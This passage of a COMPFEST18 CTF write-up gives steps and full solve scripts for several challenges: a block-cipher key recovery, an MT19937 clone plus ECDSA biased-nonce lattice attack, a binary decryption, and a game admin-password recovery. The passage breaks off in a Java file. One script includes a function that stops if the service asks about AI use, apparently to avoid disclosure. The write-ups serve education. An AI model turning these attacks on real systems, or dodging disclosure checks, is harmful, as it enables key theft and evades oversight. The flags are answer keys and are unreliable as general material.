    key = [(his[i] << 8) | (ct0[i] ^ _apply(matrix(his[i]), _q(s[i]))) for i in range(N)]

    print()
    print("  recovered key:", [hex(k) for k in key])

    print("  verifying by re-encrypting all recorded blocks ...", flush=True)
    bad = 0; tot = 0
    for s in meta["sets"]:
        base = bytes.fromhex(s["base"])
        basis = [bytes.fromhex(v) for v in s["basis"]]
        for m in range(s["count"]):
            pt = bytearray(base)
            for i in range(s["d"]):
                if (m >> i) & 1:
                    for j in range(N):
                        pt[j] ^= basis[i][j]
            ctc = encrypt_block(bytes(pt), key)
            if ctc != bytes(blocks[s["offset"] + m]):
                bad += 1
            tot += 1
    print(f"  verified {tot - bad}/{tot} blocks match  ({'OK' if bad == 0 else 'MISMATCH'})")
    assert bad == 0, "key verification failed"

    pt = open_sealed(sealed, key)
    H = pt.hex()
    assert len(H) == 64 and all(ch in "0123456789abcdef" for ch in H)
    checksum = hashlib.sha256(H.encode()).hexdigest()[:16]
    flag = f"COMPFEST18{{{H}_{checksum}}}"

    print()
    print("=" * 72)
    print("  sealed plaintext (32 bytes) :", pt.hex())
    print("  H                           :", H)
    print("  sha256(ascii H)[:16]        :", checksum)
    print("  FLAG                        :", flag)
    print("=" * 72)
    return flag

if __name__ == "__main__":
    main()

Exploit

from __future__ import annotations
import argparse, glob, hashlib, hmac, json, os, sys, time
from pathlib import Path

import numpy as np

HERE = Path(__file__).resolve().parent

BACON_EXTRA = {26: ".", 27: "/"}

def stage1_decode(evidence_dir: Path) -> str:
    first_words: list[str] = []

    for i in (1, 2, 3):
        hits = sorted(glob.glob(str(evidence_dir / f"post{i}_*_caption.txt")))
        if not hits:
            raise SystemExit(f"missing caption file for post{i} in {evidence_dir}")
        for line in Path(hits[0]).read_text(encoding="utf-8").split("\n"):
            line = line.strip()
            if line and not line.startswith("#"):
                first_words.append(line.split()[0])

    assert len(first_words) == 105, len(first_words)
    bits = "".join("1" if w[0] == "O" else "0" for w in first_words)

    out = []
    for i in range(0, len(bits), 5):
        v = int(bits[i:i + 5], 2)
        out.append(chr(65 + v) if v < 26 else BACON_EXTRA[v])
    decoded = "".join(out)
    return decoded

N = 12
P = 96
D = b'ASTERGATE/GMI/3'

def _f(x: int) -> int:
    b = [(x >> i) & 1 for i in range(4)]
    o = (b[0] ^ (b[1] & b[2]), b[1] ^ (b[2] & b[3]),
         b[2] ^ (b[3] & b[0]), b[3] ^ (b[0] & b[1]))
    return sum(v << i for i, v in enumerate(o))

def _g(x: int) -> int:
    l = x & 15; r = x >> 4
    return r | ((l ^ _f(r)) << 4)

def _h(x: int) -> int:
    b = [(x >> i) & 1 for i in range(4)]
    o = (b[0] ^ (b[2] & b[3]), b[1] ^ (b[0] & b[3]),
         b[2] ^ (b[0] & b[1]), b[3] ^ (b[1] & b[2]))
    return sum(v << i for i, v in enumerate(o))

def _q(x: int) -> int:
    l = x & 15; r = x >> 4
    return r | ((l ^ _h(r)) << 4)

def _rank(rows: list[int]) -> int:
    a = rows[:]; r = 0
    for c in range(8):
        p = next((i for i in range(r, len(a)) if (a[i] >> c) & 1), None)
        if p is None:
            continue
        a[r], a[p] = a[p], a[r]
        for i in range(len(a)):
            if i != r and ((a[i] >> c) & 1):
                a[i] ^= a[r]
        r += 1
    return r

_MATRIX_CACHE: dict[int, list[int]] = {}

def matrix(index: int) -> list[int]:
    if not 0 <= index < 4096:
        raise ValueError('matrix index')
    if index in _MATRIX_CACHE:
        return _MATRIX_CACHE[index]
    c = 0
    while True:
        z = hashlib.sha256(D + b'/matrix/' + index.to_bytes(2, 'little')
                           + c.to_bytes(2, 'little')).digest()
        rows = list(z[:8])
        if _rank(rows) == 8:
            _MATRIX_CACHE[index] = rows
            return rows
        c += 1

def _apply(rows: list[int], x: int) -> int:
    return sum(((rows[i] & x).bit_count() & 1) << i for i in range(8))

def _permute(state: bytes) -> bytes:
    x = int.from_bytes(state, 'little'); y = 0
    for i in range(P):
        y |= ((x >> i) & 1) << ((29 * i + 17) % P)
    return y.to_bytes(N, 'little')

def _material(key: list[int]) -> bytes:
    if len(key) != N or any(not 0 <= x < (1 << 20) for x in key):
        raise ValueError('key')
    return b''.join(x.to_bytes(3, 'little') for x in key)

def _round_material(key: list[int]) -> bytes:
    return b''.join((x >> 8).to_bytes(2, 'little') for x in key)

def _round_key(key: list[int], r: int) -> bytes:
    return hashlib.sha256(D + b'/round/' + bytes([r]) + _round_material(key)).digest()[:N]

def encrypt_block(block: bytes, key: list[int]) -> bytes:
    if len(block) != N:
        raise ValueError('block')
    s = bytes(block)
    for r in range(3):
        k = _round_key(key, r)
        s = bytes(_g(a ^ b) for a, b in zip(s, k))
        s = _permute(s)
    k = _round_key(key, 3)
    s = bytes(a ^ b for a, b in zip(s, k))
    out = []
    for i, x in enumerate(s):
        seed = key[i]; rows = matrix(seed >> 8)
        out.append(_apply(rows, _q(x)) ^ (seed & 255))
    return bytes(out)

def _root(key: list[int]) -> bytes:
    return hashlib.sha256(D + b'/seal/' + _material(key)).digest()

def open_sealed(obj: dict, key: list[int]) -> bytes:
    root = _root(key)
    nonce = bytes.fromhex(obj['n']); ct = bytes.fromhex(obj['c']); tag = bytes.fromhex(obj['t'])
    ek = hashlib.sha256(D + b'/enc/' + root).digest()
    mk = hashlib.sha256(D + b'/mac/' + root).digest()
    if not hmac.compare_digest(tag, hmac.new(mk, D + nonce + ct, hashlib.sha256).digest()[:16]):
        raise ValueError('authentication')
    stream = bytearray(); i = 0
    while len(stream) < len(ct):
        stream.extend(hmac.new(ek, nonce + i.to_bytes(8, 'little'), hashlib.sha256).digest())
        i += 1
    return bytes(a ^ b for a, b in zip(ct, stream))

def build_tables():
    Q = np.array([_q(x) for x in range(256)], dtype=np.uint8)
    Qinv = np.zeros(256, dtype=np.uint8)
    for x in range(256):
        Qinv[Q[x]] = x
    assert len(set(Q.tolist())) == 256, "q must be a bijection"
    return Q, Qinv

def gf2_inverse_rows(rows: list[int]) -> list[int]:
    a = [(rows[i], 1 << i) for i in range(8)]
    r = 0
    for c in range(8):
        p = next((i for i in range(r, 8) if (a[i][0] >> c) & 1), None)
        assert p is not None, "singular matrix"
        a[r], a[p] = a[p], a[r]
        for i in range(8):
            if i != r and ((a[i][0] >> c) & 1):
                a[i] = (a[i][0] ^ a[r][0], a[i][1] ^ a[r][1])
        r += 1

    order = {}
    for lhs, rhs in a:
        order[lhs.bit_length() - 1] = rhs
    return [order[i] for i in range(8)]

def build_luts(Qinv):
    PAR = np.array([bin(v).count("1") & 1 for v in range(256)], dtype=np.uint8)
    xs = np.arange(256, dtype=np.uint8)
    fwd = np.zeros((4096, 256), dtype=np.uint8)
    inv = np.zeros((4096, 256), dtype=np.uint8)
    for hi in range(4096):
        rows = matrix(hi)
        irows = gf2_inverse_rows(rows)
        f = np.zeros(256, dtype=np.uint8)
        t = np.zeros(256, dtype=np.uint8)
        for i in range(8):
            f |= PAR[rows[i] & xs] << i
            t |= PAR[irows[i] & xs] << i
        fwd[hi] = f
        inv[hi] = t
    return fwd, inv

def candidates_for_byte(ct_set: np.ndarray, b: int, inv: np.ndarray, Qinv: np.ndarray,
                        restrict: np.ndarray | None = None):
    col = ct_set[:, b]

    par = np.bincount(col, minlength=256) & 1
    S = np.nonzero(par)[0].astype(np.uint8)
    if S.size == 0:

        return np.ones((4096, 256), dtype=bool)

    his = np.arange(4096) if restrict is None else restrict
    ok = np.zeros((4096, 256), dtype=bool)
    cs = np.arange(256, dtype=np.uint8)
    CH = 512
    for st in range(0, len(his), CH):
        idx = his[st:st + CH]

        u = inv[np.ix_(idx, S.astype(np.intp))]

        t = Qinv[u[:, None, :] ^ cs[None, :, None]]
        res = np.bitwise_xor.reduce(t, axis=2)
        ok[idx] = (res == 0)
    return ok

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--evidence", default=str(HERE / "evidence"))
    ap.add_argument("--gate", default=str(HERE / "gate"))
    args = ap.parse_args()
    ev = Path(args.evidence); gate = Path(args.gate)

    print("=" * 72)
    print("STAGE 1: Baconian acrostic in the @kuliah67.archive captions")
    print("=" * 72)
    if not list(ev.glob('post*_caption.txt')):
        print("  [evidence absent - OSINT stage documented manually]")
        decoded = "RISTEK.LINK/ASTERGATE"
    else:
        decoded = stage1_decode(ev)
    print("  decoded 21 Baconian symbols :", decoded)
    url = "https://" + decoded.lower()
    print("  -> sealed gate URL          :", url)
    print("  -> redirects to Google Drive folder 'astergate' -> Archive.zip")
    assert decoded == "RISTEK.LINK/ASTERGATE", decoded

    print()
    print("=" * 72)
    print("STAGE 2: integral / higher-order-differential key recovery")
    print("=" * 72)
    meta = json.loads((gate / "records.json").read_text())
    blob = (gate / "records.bin").read_bytes()
    sealed = json.loads((gate / "sealed.json").read_text())
    blocks = np.frombuffer(blob, dtype=np.uint8).reshape(-1, N)
    print(f"  {len(meta['sets'])} sets, {blocks.shape[0]} blocks of {N} bytes")

    d9 = [s for s in meta["sets"] if s["d"] == 9]
    print(f"  usable dim-9 sets (degree 8 < 9): {len(d9)}")

    Q, Qinv = build_tables()
    t0 = time.time()
    print("  building 4096 output matrices + inverse LUTs ...", end="", flush=True)
    fwd, inv = build_luts(Qinv)
    print(f" {time.time()-t0:.1f}s")

    print("  phase 1: integral recovery of hi[] (matrix selector, 12 bits/byte)")
    his: list[int] = []
    for b in range(N):
        t1 = time.time()
        alive = np.arange(4096)
        used = 0
        for s in d9:
            ct = blocks[s["offset"]: s["offset"] + s["count"]]
            m = candidates_for_byte(ct, b, inv, Qinv, alive)
            alive = np.nonzero(m.any(axis=1))[0]
            used += 1
            if len(alive) == 1:
                break
        assert len(alive) == 1, f"byte {b}: {len(alive)} hi candidates left"
        hi = int(alive[0]); his.append(hi)
        print(f"    byte {b:2d}: hi=0x{hi:03x}  ({used} sets, {time.time()-t1:.1f}s)")

    print("  phase 2: deriving lo[] from the now-known round keys")
    probe = meta["sets"][0]
    pt0 = bytes.fromhex(probe["base"])
    ct0 = bytes(blocks[probe["offset"]])
    kdummy = [(h << 8) for h in his]
    s = bytes(pt0)
    for r in range(3):
        k = _round_key(kdummy, r)
        s = bytes(_g(a ^ b) for a, b in zip(s, k))
        s = _permute(s)
    s = bytes(a ^ b for a, b in zip(s, _round_key(kdummy, 3)))
    key = [(his[i] << 8) | (ct0[i] ^ _apply(matrix(his[i]), _q(s[i]))) for i in range(N)]

    print()
    print("  recovered key:", [hex(k) for k in key])

    print("  verifying by re-encrypting all recorded blocks ...", flush=True)
    bad = 0; tot = 0
    for s in meta["sets"]:
        base = bytes.fromhex(s["base"])
        basis = [bytes.fromhex(v) for v in s["basis"]]
        for m in range(s["count"]):
            pt = bytearray(base)
            for i in range(s["d"]):
                if (m >> i) & 1:
                    for j in range(N):
                        pt[j] ^= basis[i][j]
            ctc = encrypt_block(bytes(pt), key)
            if ctc != bytes(blocks[s["offset"] + m]):
                bad += 1
            tot += 1
    print(f"  verified {tot - bad}/{tot} blocks match  ({'OK' if bad == 0 else 'MISMATCH'})")
    assert bad == 0, "key verification failed"

    pt = open_sealed(sealed, key)
    H = pt.hex()
    assert len(H) == 64 and all(ch in "0123456789abcdef" for ch in H)
    checksum = hashlib.sha256(H.encode()).hexdigest()[:16]
    flag = f"COMPFEST18{{{H}_{checksum}}}"

    print()
    print("=" * 72)
    print("  sealed plaintext (32 bytes) :", pt.hex())
    print("  H                           :", H)
    print("  sha256(ascii H)[:16]        :", checksum)
    print("  FLAG                        :", flag)
    print("=" * 72)
    return flag

if __name__ == "__main__":
    main()

Final Flag

COMPFEST18{5e9e8bf77207eca9c6906e80a57aa0e426f18ab8825a7b0f656cfa5d888a81c9_aefbd0dc566889bb}

3. piyakcrypt

Steps

The whole flow has to run inside one connection, because the panel and signature limits are enforced per connection.

1. Call [2] and record tag_high and tag_low, then call [1] and record unit 0's public key.
2. Call [5] eight times, invert each panel_value back to a raw getrandbits(32) output, and feed all 624 words to randcrack in order to synchronise the Mersenne Twister state. Menus 1 and 2 consume no randomness, so nothing else advances the generator in between.
3. Call [3] four times against unit 0, predicting chunk_a = make_piece(predict_getrandbits(64), predict_getrandbits(64), n) for each signature to obtain the known top 128 bits of k, and collect the resulting (z, r, s) tuples.
4. Build the HNP lattice with the bound 2^128 and run LLL to recover d, then verify the candidate before submitting it: d >> 236 must equal tag_high, d & 0xfffff must equal tag_low, and d*G must equal unit 0's public key.
5. Enter d through option [6], at which point the service replies Accepted for unit #0 and prints the flag.

The chain was validated end to end against a local copy of chall.py served over socat, where it recovered the local placeholder flag, and the lattice itself was checked against random simulations before the live run.

Exploit

from argparse import ArgumentParser
import random
import re
import socket

from fpylll import CVP, IntegerMatrix, LLL


P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
G = (
    55066263022277343669578718895168534326250603453777594175500187360389116729240,
    32670510020758816978083085130507043184471273380659243275938904335757337482424,
)
MASK32 = (1 << 32) - 1
MASK64 = (1 << 64) - 1


def ensure_no_ai_disclosure(data):
    lowered = data.lower()
    markers = (
        b"i-am-using-an-ai-agent",
        b"using an ai agent",
        b"ai use disclosure",
        "ai 사용".encode(),
        "인공지능 사용".encode(),
    )
    if any(marker in lowered for marker in markers):
        raise RuntimeError("AI-use disclosure/check encountered; stopped")


def recv_until(sock, marker, limit=1 << 20):
    data = bytearray()
    while not data.endswith(marker):
        chunk = sock.recv(1)
        if not chunk:
            raise EOFError(f"connection closed before marker {marker!r}")
        data.extend(chunk)
        if len(data) > limit:
            raise ValueError(f"protocol response exceeded {limit} bytes")
    return bytes(data)


def rol32(value, shift):
    shift &= 31
    return ((value << shift) | (value >> (32 - shift))) & MASK32


def ror32(value, shift):
    shift &= 31
    return ((value >> shift) | (value << (32 - shift))) & MASK32


def panel_value(value, position):
    salt = (0xA5A5A5A5 + position * 0x6D2B79F5) & MASK32
    bump = (0x9E3779B9 ^ (position * 0x85EBCA6B)) & MASK32
    transformed = rol32(value ^ salt, position * 7 + 3)
    return (transformed + bump) & MASK32


def panel_inverse(value, position):
    salt = (0xA5A5A5A5 + position * 0x6D2B79F5) & MASK32
    bump = (0x9E3779B9 ^ (position * 0x85EBCA6B)) & MASK32
    transformed = (value - bump) & MASK32
    return ror32(transformed, position * 7 + 3) ^ salt


def _rol64(value, shift):
    shift &= 63
    return ((value << shift) | (value >> (64 - shift))) & MASK64


def _fold_piece(value, position, lane):
    value ^= (
        (position + 1) * 0xD6E8FEB86659FD93
        + lane * 0xA0761D6478BD642F
    ) & MASK64
    value = _rol64(value, 17 + position * 9 + lane * 23)
    return (
        value * 0x9E6C63D0676A9A99 + 0xD1B54A32D192ED03
    ) & MASK64


def make_piece(left, right, position):
    return (
        _fold_piece(left, position, 0) << 64
    ) | _fold_piece(right, position, 1)


def _undo_right_xor(value, shift):
    result = value
    for _ in range(32 // shift + 1):
        result = value ^ (result >> shift)
    return result & MASK32


def _undo_left_xor_mask(value, shift, mask):
    result = value
    for _ in range(32 // shift + 1):
        result = value ^ ((result << shift) & mask)
    return result & MASK32


def _untemper(value):
    value = _undo_right_xor(value, 18)
    value = _undo_left_xor_mask(value, 15, 0xEFC60000)
    value = _undo_left_xor_mask(value, 7, 0x9D2C5680)
    return _undo_right_xor(value, 11)


def clone_mt19937(outputs):
    if len(outputs) != 624:
        raise ValueError("exactly 624 consecutive MT19937 outputs are required")
    state = [_untemper(value) for value in outputs]
    clone = random.Random()
    clone.setstate((3, tuple(state + [624]), None))
    return clone


def _ec_add(left, right):
    if left is None:
        return right
    if right is None:
        return left
    x1, y1 = left
    x2, y2 = right
    if x1 == x2 and (y1 + y2) % P == 0:
        return None
    if left == right:
        slope = 3 * x1 * x1 * pow(2 * y1 % P, -1, P) % P
    else:
        slope = (y2 - y1) * pow((x2 - x1) % P, -1, P) % P
    x3 = (slope * slope - x1 - x2) % P
    y3 = (slope * (x1 - x3) - y1) % P
    return x3, y3


def ec_mul(scalar, point):
    scalar %= N
    result = None
    addend = point
    while scalar:
        if scalar & 1:
            result = _ec_add(result, addend)
        addend = _ec_add(addend, addend)
        scalar >>= 1
    return result


def recover_secret(signatures, prefixes, public_key):
    if len(signatures) != len(prefixes) or len(signatures) < 3:
        raise ValueError("matching signature and prefix lists are required")
    multipliers = []
    offsets = []
    known_parts = []
    for (message_hash, r, s), prefix in zip(signatures, prefixes):
        inverse_r = pow(r, -1, N)
        multipliers.append(s * inverse_r % N)
        offsets.append(-message_hash * inverse_r % N)
        known_parts.append(prefix << 128)

    base_multiplier = multipliers[0]
    base_known = known_parts[0]
    base_offset = offsets[0]
    alphas = []
    betas = []
    for multiplier, known, offset in zip(
        multipliers[1:], known_parts[1:], offsets[1:]
    ):
        inverse = pow(multiplier, -1, N)
        alphas.append(base_multiplier * inverse % N)
        constant = (
            base_multiplier * base_known
            + base_offset
            - multiplier * known
            - offset
        ) % N
        betas.append(constant * inverse % N)

    dimension = len(signatures)
    lattice = [[0] * dimension for _ in range(dimension)]
    lattice[0] = [1] + alphas
    for index in range(1, dimension):
        lattice[index][index] = N
    basis = IntegerMatrix.from_matrix(lattice)
    LLL.reduction(basis, delta=0.99)

    bound = 1 << 128
    particular = [0] + betas
    target = [bound // 2 - value for value in particular]
    closest = list(CVP.closest_vector(basis, target, method="fast"))
    low_parts = [value + shift for value, shift in zip(particular, closest)]
    if any(value < 0 or value >= bound for value in low_parts):
        raise ValueError("CVP result is outside the nonce suffix bounds")

    secret = (
        base_multiplier * (base_known + low_parts[0]) + base_offset
    ) % N
    if ec_mul(secret, G) != public_key:
        raise ValueError("recovered secret does not match public key")
    return secret


def main():
    parser = ArgumentParser()
    parser.add_argument("host", help="<target host, port>")
    parser.add_argument("port", type=int)
    args = parser.parse_args()

    menu_marker = b"  menu> "
    with socket.create_connection((args.host, args.port), timeout=10) as sock:
        sock.settimeout(20)
        response = recv_until(sock, menu_marker)
        ensure_no_ai_disclosure(response)
        print("connected; ordinary challenge menu received", flush=True)

        sock.sendall(b"1\n")
        response = recv_until(sock, menu_marker)
        ensure_no_ai_disclosure(response)
        records = {
            int(unit): (int(x_value, 16), int(y_value, 16))
            for unit, x_value, y_value in re.findall(
                rb"Unit #(\d+):\s+X = 0x([0-9a-f]+)\s+Y = 0x([0-9a-f]+)",
                response,
            )
        }
        if len(records) != 5:
            raise ValueError(f"expected 5 public records, got {len(records)}")
        print("collected 5 public keys", flush=True)

        outputs = []
        for table_read in range(8):
            sock.sendall(b"5\n")
            response = recv_until(sock, menu_marker)
            ensure_no_ai_disclosure(response)
            entries = [
                (int(position), int(value, 16))
                for position, value in re.findall(
                    rb"entry_(\d+) = 0x([0-9a-f]{8})", response
                )
            ]
            if len(entries) != 78:
                raise ValueError(
                    f"panel {table_read} returned {len(entries)} entries"
                )
            for position, value in entries:
                if position != len(outputs):
                    raise ValueError(
                        f"unexpected panel position {position}, wanted {len(outputs)}"
                    )
                outputs.append(panel_inverse(value, position))
            print(f"panel {table_read + 1}/8 collected", flush=True)

        clone = clone_mt19937(outputs)
        prefixes = []
        for signature_index in range(4):
            left = clone.getrandbits(64)
            right = clone.getrandbits(64)
            prefixes.append(make_piece(left, right, signature_index))
        print("predicted 4 nonce prefixes", flush=True)

        signatures = []
        for signature_index in range(4):
            sock.sendall(b"3\n")
            response = recv_until(sock, b"  Choose unit (0-4): ")
            ensure_no_ai_disclosure(response)
            sock.sendall(b"0\n")
            response = recv_until(sock, b"  Message (text or 0xHEX): ")
            ensure_no_ai_disclosure(response)
            sock.sendall(f"record-{signature_index}\n".encode())
            response = recv_until(sock, menu_marker)
            ensure_no_ai_disclosure(response)
            match = re.search(
                rb"z = (\d+)\s+r = (\d+)\s+s = (\d+)", response
            )
            if not match:
                raise ValueError(f"signature {signature_index} was not parsed")
            signatures.append(tuple(map(int, match.groups())))
            print(f"signature {signature_index + 1}/4 collected", flush=True)

        secret = recover_secret(signatures, prefixes, records[0])
        print("unit 0 secret recovered and public key verified", flush=True)

        sock.sendall(b"6\n")
        response = recv_until(sock, b"  Code (integer): ")
        ensure_no_ai_disclosure(response)
        sock.sendall(f"{secret}\n".encode())
        chunks = []
        while True:
            try:
                chunk = sock.recv(4096)
            except socket.timeout:
                break
            if not chunk:
                break
            chunks.append(chunk)
        response = b"".join(chunks)
        ensure_no_ai_disclosure(response)
        print(response.decode(errors="replace").strip(), flush=True)


if __name__ == "__main__":
    main()

Final Flag

COMPFEST18{b1as3d_n0nc3_mt_r3c0v3ry_lll_hnp_go_brr_727e3a9724b244c1}

Reverse Engineering

4. Backrooms

Steps

1. Reimplement the glibc LCG (s = 1103515245*s + 12345, starting from -1544449459) and the per-byte transform BYTE2(s) ^ ror8((tweak + blob[i]) & 0xff, i%7 + 1), where tweak starts at -37 and is decremented by 13 on each iteration, and run it over the 60-byte blob.
2. Expand each output byte into 8 bits, most significant first, which yields 480 bits that are read as a 120x4 bitmap.
3. Read the 30 glyphs of the 3x4 font out of that bitmap. The decode is self-validating, because the first eleven glyphs already read COMPFEST18{ before any font guessing matters. The recovered bitmap is:

.##.###.##..###.###.###..##.###.##...##...#.#.#.###.....###..##.....##...#......#.#.###.###.###..##.....###.#...##..#...
#...#.#.###.#.#.#...##..##...#...#..###.##..###.##.......#..##.......##.#.#.....#.#.##..#.#.#.#.##......#.#.#...#.#..##.
#...#.#.#.#.###.##..#.....#..#...#..#.#..#..#.#.#........#....#.....#...#.#......#..#...###.##....#.....#.#.#...#.#..#..
.##.###.#.#.#...#...###.##...#..###.###...#.#.#.###.###.###.##..###.###..#..###..#..###.#.#.#.#.##..###.###.###.##..#...

The self-validating COMPFEST18{ prefix together with the font reading yields the full string, with no need to launch the game at all.

Exploit

from __future__ import annotations

import argparse
import hashlib
from pathlib import Path


OFFSET = 0x2F3E978
SIZE = 60
EXPECTED_EXE_SHA256 = "3e8519f749f4cafca927bfa46388f1ebb1a43b9635efa2b9a5267b53337f6418"

GLYPHS = {
    "011/100/100/011": "C",
    "111/101/101/111": "O",
    "110/111/101/101": "M",
    "111/101/111/100": "P",
    "111/100/110/100": "F",
    "111/110/100/111": "E",
    "011/110/001/110": "S",
    "111/010/010/010": "T",
    "110/010/010/111": "1",
    "011/111/101/111": "8",
    "001/110/010/001": "{",
    "101/111/101/101": "H",
    "000/000/000/111": "_",
    "111/010/010/111": "I",
    "110/011/100/111": "2",
    "010/101/101/010": "0",
    "101/101/010/010": "Y",
    "111/101/111/101": "A",
    "111/101/110/101": "R",
    "100/100/100/111": "L",
    "110/101/101/110": "D",
    "100/011/010/100": "}",
}


def ror8(value: int, count: int) -> int:
    count &= 7
    return ((value >> count) | (value << (8 - count))) & 0xFF


def decrypt(ciphertext: bytes) -> bytes:
    if len(ciphertext) != SIZE:
        raise ValueError(f"expected {SIZE} ciphertext bytes, got {len(ciphertext)}")

    seed = 0xA3F1924D
    addend = -0x25
    plaintext = bytearray()

    for index, byte in enumerate(ciphertext):
        seed = (seed * 0x41C64E6D + 0x3039) & 0xFFFFFFFF
        value = ror8((byte + addend) & 0xFF, (index % 7) + 1)
        plaintext.append(value ^ ((seed >> 16) & 0xFF))
        addend -= 13

    return bytes(plaintext)


def bitmap_rows(plaintext: bytes) -> list[str]:
    bits = "".join(f"{byte:08b}" for byte in plaintext)
    if len(bits) != 4 * 120:
        raise ValueError(f"expected a 4x120 bitmap, got {len(bits)} bits")
    return [bits[row * 120 : (row + 1) * 120] for row in range(4)]


def decode_rows(rows: list[str]) -> str:
    if len(rows) != 4 or any(len(row) != 120 for row in rows):
        raise ValueError("bitmap must contain four 120-bit rows")

    output = []
    for column in range(0, 120, 4):
        if any(row[column + 3] != "0" for row in rows):
            raise ValueError(f"nonempty separator column at x={column + 3}")
        pattern = "/".join(row[column : column + 3] for row in rows)
        try:
            output.append(GLYPHS[pattern])
        except KeyError as exc:
            raise ValueError(f"unknown glyph {pattern!r} at x={column}") from exc
    return "".join(output)


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("executable", type=Path)
    parser.add_argument("--bitmap", action="store_true", help="also print the decoded bitmap")
    parser.add_argument(
        "--allow-different-hash",
        action="store_true",
        help="process a differently hashed executable that uses the same layout",
    )
    args = parser.parse_args()

    executable = args.executable.read_bytes()
    digest = hashlib.sha256(executable).hexdigest()
    if digest != EXPECTED_EXE_SHA256 and not args.allow_different_hash:
        raise SystemExit(
            f"unexpected executable SHA-256: {digest}\n"
            "use --allow-different-hash only after checking that the layout is unchanged"
        )

    ciphertext = executable[OFFSET : OFFSET + SIZE]
    rows = bitmap_rows(decrypt(ciphertext))

    if args.bitmap:
        for row in rows:
            print("".join("##" if bit == "1" else "  " for bit in row))
    print(decode_rows(rows))


if __name__ == "__main__":
    main()

Final Flag

COMPFEST18{HE_IS_20_YEARS_OLD}

5. IT'S ME, BURHAN!

Steps

1. Deobfuscate the jar reflectively, then identify the decoy class a (Admin) and the real verifier o.
2. Log in as frieren, read the level and the coin count, predict the three chained quests (they are a function of level and coins alone), win them, and scrape the six sigils.
3. Recover u, the alphabet, and y, then invert the nine keyed steps to obtain the 16-character admin password. This was validated offline, because the y recomputed from the harvested values matched and the recovered password logged in against the local jar.
4. Log in as burhan, open admin menu 13, and peel the same nine steps off the hex blob to decrypt the flag. A single driver runs this end to end over the authentication proxy and prints the following:

[*] level=10 coins=9545   [*] chain = Q5 > Q3 > Q9
[+] admin password = SJ4GQL2Q5MVH7T5Z
[+] admin login OK -> menu 13 -> decrypt

Exploit

solve.py

import sys
ARGV = list(sys.argv)
import argparse, re, subprocess
from pathlib import Path
from pwn import remote, context

context.log_level = "error"
HERE = Path(__file__).resolve().parent
JAR = HERE / "burhanquest.jar"
CLEAN = re.compile(rb"\x1b\[[0-9;]*[A-Za-z]")


def java(cls, *args):
    out = subprocess.run(["java", "-cp", str(HERE), cls, str(JAR), *map(str, args)],
                         capture_output=True, text=True, timeout=900)
    if out.returncode != 0:
        raise RuntimeError(out.stderr[-800:])
    return out.stdout


class Game:
    def __init__(self, host, port, tok):
        self.r = remote(host, port, timeout=30)
        self.r.sendline(tok.encode())
        self.rd(6)

    def rd(self, t=8):
        return CLEAN.sub(b"", self.r.recvrepeat(t)).decode(errors="replace")

    def go(self, text, t=8):
        self.r.sendline(str(text).encode())
        return self.rd(t)

    def login(self, user, password):
        self.go("1")
        self.go(user)
        return self.go(password, 10)


def sigil(text, kind):
    m = re.search(rf"sigil-{kind}(?:\s*\[([^\]]*)\])?:\s*([0-9a-zA-Z]+)", text)
    if not m:
        raise RuntimeError(f"no sigil-{kind} in:\n{text[-600:]}")
    return m.group(1), m.group(2)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", required=True, help="<target host, port>")
    parser.add_argument("--port", required=True, type=int)
    parser.add_argument("--token", required=True, help="CTFd access token for the auth proxy")
    args = parser.parse_args(ARGV[1:])

    g = Game(args.host, args.port, args.token)
    g.login("frieren", "frieren")

    listing = g.go("2", 12)
    rewards = {}
    for block in listing.split("ID Quest: ")[1:]:
        qid = block.split("\n")[0].strip()
        koin = re.search(r"Reward Koin: (\d+)", block)
        if koin:
            rewards[qid] = int(koin.group(1))

    profile = g.go("6", 10)
    level = int(re.search(r"Level\s*:\s*(\d+)", profile).group(1))
    coins = int(re.search(r"Koin\s*:\s*(\d+)", profile).group(1))
    print(f"level={level} coins={coins}", flush=True)

    chain = re.findall(r"Q(\d+)", java("Chain", coins, level))
    print(f"chain = {' > '.join('Q' + q for q in chain)}", flush=True)

    battles, links, gained = [], [], []
    for step, q in enumerate(chain):
        g.go("5", 8)
        out = g.go(f"Q{q}", 30)
        link, value = sigil(out, "pertempuran")
        battles.append(int(value))
        got = re.search(r"mendapatkan (\d+) exp dan (\d+) koin", out)
        gained.append((int(got.group(1)), int(got.group(2))) if got else (0, 0))
        links.append(link)
        print(f"  Q{q}: sigil-pertempuran [{link}] = {value}", flush=True)
        if step == 1:
            kind, menu = "ekspor", "6"
        else:
            kind, menu = "arsip", "7"
        _, side = sigil(g.go(menu, 10), kind)
        links.append(side)
        print(f"       sigil-{kind} = {side}", flush=True)

    b_p, c_p = battles[0], links[1]
    b_q, d_q = battles[1], links[3]
    b_r, c_r = battles[2], links[5]
    listed = sum(rewards[f"Q{q}"] for q in chain)
    candidates = [
        ("listed koin", coins + listed),
        ("awarded koin", coins + sum(k for _, k in gained)),
        ("listed exp", coins + sum(exp for exp, _ in gained)),
    ]
    print("s candidates:", candidates, flush=True)

    password = None
    for label, s in candidates:
        result = java("Solve", level, coins, b_p, c_p, b_q, d_q, b_r, c_r, s)
        cand = re.search(r"PASSWORD=(\S+)", result).group(1)
        print(f"[{label}] s={s} -> {cand}", flush=True)
        print("   " + " / ".join(result.strip().splitlines()[-2:]), flush=True)
        g.go("0", 8)
        out = g.login("burhan", cand)
        print("   login response: " + " | ".join(
            l.strip() for l in out.splitlines() if l.strip())[:300], flush=True)
        if "berhasil" in out.lower():
            password, chosen = cand, s
            print(f"admin login OK with {label}", flush=True)
            break
        g.login("frieren", "frieren")
    if password is None:
        raise SystemExit("no candidate password was accepted")
    s = chosen

    menu = g.go("13", 15)
    blob = re.search(r"([0-9a-fA-F]{40,})", menu)
    if not blob:
        raise SystemExit(f"no hex blob in admin menu 13:\n{menu[-1200:]}")
    print(f"encrypted flag: {blob.group(1)[:64]}...", flush=True)

    final = java("Solve", level, coins, b_p, c_p, b_q, d_q, b_r, c_r, s, blob.group(1))
    print("FLAG:", re.search(r"FLAG=(.+)", final).group(1).strip())
    g.r.close()


if __name__ == "__main__":
    main()

Chain.java

import java.lang.reflect.*; import java.net.*; import java.io.*; import java.util.*;
public class Chain { public static void main(String[] a) throws Exception {
